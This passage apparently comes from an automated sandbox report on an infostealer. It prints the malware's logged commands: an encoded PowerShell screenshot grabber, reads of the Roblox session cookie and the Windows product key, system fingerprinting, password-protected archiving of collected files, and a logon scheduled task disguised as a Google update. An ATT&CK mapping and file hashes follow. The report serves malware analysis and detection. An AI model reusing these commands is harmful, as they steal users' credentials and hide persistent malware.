        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
        5⤵
        
        PID:5976
      - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
        6⤵
        
        PID:4212
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        5⤵
        
        PID:6080
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        6⤵
        Loads dropped DLL
        
        PID:5664
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\a4pqtnut\a4pqtnut.cmdline"
        7⤵
        
        PID:5088
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB1A7.tmp" "c:\Users\Admin\AppData\Local\Temp\a4pqtnut\CSC6D8110667CFD49F48FEAA878B04641EF.TMP"
        8⤵
        
        PID:4144
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:1788
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:4388
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:2584
      - C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:4692
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:4208
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:5328
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:756
      - C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:5268
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5296
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:5132
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:4020
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:2064
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:2820
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:2392
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5764
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:816
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1196"
        5⤵
        
        PID:5148
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1196
        6⤵
        Kills process with taskkill
        
        PID:3168
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1196"
        5⤵
        
        PID:5944
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1196
        6⤵
        Kills process with taskkill
        
        PID:1556
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:332
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Command and Scripting Interpreter: PowerShell
        Loads dropped DLL
        
        PID:5428
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:1744
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Loads dropped DLL
        
        PID:6120
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        5⤵
        
        PID:5992
      - C:\Windows\system32\getmac.exe
        
        getmac
        6⤵
        
        PID:5888
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI55162\rar.exe a -r -hp"1212" "C:\Users\Admin\AppData\Local\Temp\ZdsAv.zip" *"
        5⤵
        
        PID:1516
      - C:\Users\Admin\AppData\Local\Temp\_MEI55162\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI55162\rar.exe a -r -hp"1212" "C:\Users\Admin\AppData\Local\Temp\ZdsAv.zip" *
        6⤵
        Executes dropped EXE
        
        PID:2104
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        5⤵
        
        PID:5240
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        6⤵
        
        PID:5184
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        5⤵
        
        PID:2252
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        6⤵
        
        PID:5712
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:3132
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:5360
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        5⤵
        
        PID:4712
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        6⤵
        Command and Scripting Interpreter: PowerShell
        Loads dropped DLL
        
        PID:5544
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        
        PID:3576
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4608
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:6084
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        5⤵
        
        PID:5852
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        6⤵
        Loads dropped DLL
        
        PID:412
- - C:\Users\Admin\AppData\Roaming\frozen spoofer.exe
    "C:\Users\Admin\AppData\Roaming\frozen spoofer.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    PID:5776
- C:\Users\Admin\AppData\Local\Programs\Fiddler\Fiddler.exe
  "C:\Users\Admin\AppData\Local\Programs\Fiddler\Fiddler.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: GetForegroundWindowSpam
  PID:3252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#towjv#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  PID:5848
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:2868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#towjv#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  PID:5128
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:444
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:1784

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3568

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:632

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2356

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5368

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:928

C:\Users\Admin\Google\Chrome\updater.exe
"C:\Users\Admin\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

Process Discovery

Query Registry

Software Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\USERS\ADMIN\APPDATA\LOCAL\PROGRAMS\FIDDLER\PLUGINS\NETWORKCONNECTIONS\TELERIK.NETWORKCONNECTIONS.WINDOWS.DLL

Filesize
33KB

MD5
5889357424d717c8629c8bfabcd0be50

SHA1
87e7047a40e24bd5ac23f89e072ee39a14a53023

SHA256
3564b25b24569b8d8a0128f2f4bddec89c0b8986da7542d9c64aac730360a600

SHA512
1af458742cefd4730d64b19ecc05460354f0e47a79cdcd7794877aa0f6c56cfb92f37a0daf66fedaec2a579eb0187d774b7d5ba1fff65d6ab1504df4c3668fad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
de0e1d3019517b3b005d7731bbb8a355

SHA1
ddf1f15c241f72585595cd30de12c4c3ce4e2f97

SHA256
4ceef5b8daa774c456edd70e46668746b8fa086bb9515ed5975e6737e40dc3f0

SHA512
84f7a069fd6f0713fdb9d35f17839b8755671047be477e49102f5777e8ebeeaa6421d3816727dd37f1241f4653c063fb0823ae7bab1d3001635c5075c2ba464d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
913cd25b0de81960e841c81a7bee8b19

SHA1
2c4bf2a4de37c06bea3e39898c9a98ee611b5455

SHA256
b01953744098bc035aee2a21976607df9352ca42abc3e01d769e2ceee1c9bd5f

SHA512
e5a879cdd1f83d6b6ee13117924522c967e2413c29722b5507b632514e28a0defbbcc942e7176f819e05df7bef37ca5133ba5efeb67a91c34b3736eec05ac8af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
216B

MD5
948dd6cd409dd62fa9fc474e51d39f34

SHA1
ac69b88930e34212f5feb9bb7972606654844afc

SHA256
1a9c0408fdf5483af71bfe22e02158e7bd4da2dbad450e284ed51f32a3756b67

SHA512
a840c6b1b32d972b3de157ba8afcae1059d7a40d9cbaf75cc33e851619857db80f7d0e07a7b2a3fad5c49092869445d2ac1af8d43d64868d82dc1fc520285249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
48B

MD5
15a62c38f4cb6784cde97801b002e4fd

SHA1
4543fc56ccd718ff6ce7bceb910c0e766c5d5bd9

SHA256
cc49fcdfc1f8f508db9c630c95548010ee5f37cbd44b2d4ebb0e15a61fdcb85f

SHA512
10788bf2ec552378ad8042dea231703e1d5fbd6502f47bf3a8ad387fa1d31faa66a144162db74133504b804a9eb6fb7348ad6e82fc46319ad96afb3e0fb8218d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico

Filesize
70KB

MD5
e5e3377341056643b0494b6842c0b544

SHA1
d53fd8e256ec9d5cef8ef5387872e544a2df9108

SHA256
e23040951e464b53b84b11c3466bbd4707a009018819f9ad2a79d1b0b309bc25

SHA512
83f09e48d009a5cf83fa9aa8f28187f7f4202c84e2d0d6e5806c468f4a24b2478b73077381d2a21c89aa64884df3c56e8dc94eb4ad2d6a8085ac2feb1e26c2ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_0

Filesize
8KB

MD5
cf89d16bb9107c631daabf0c0ee58efb

SHA1
3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b

SHA256
d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e

SHA512
8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_3

Filesize
8KB

MD5
41876349cb12d6db992f1309f22df3f0

SHA1
5cf26b3420fc0302cd0a71e8d029739b8765be27

SHA256
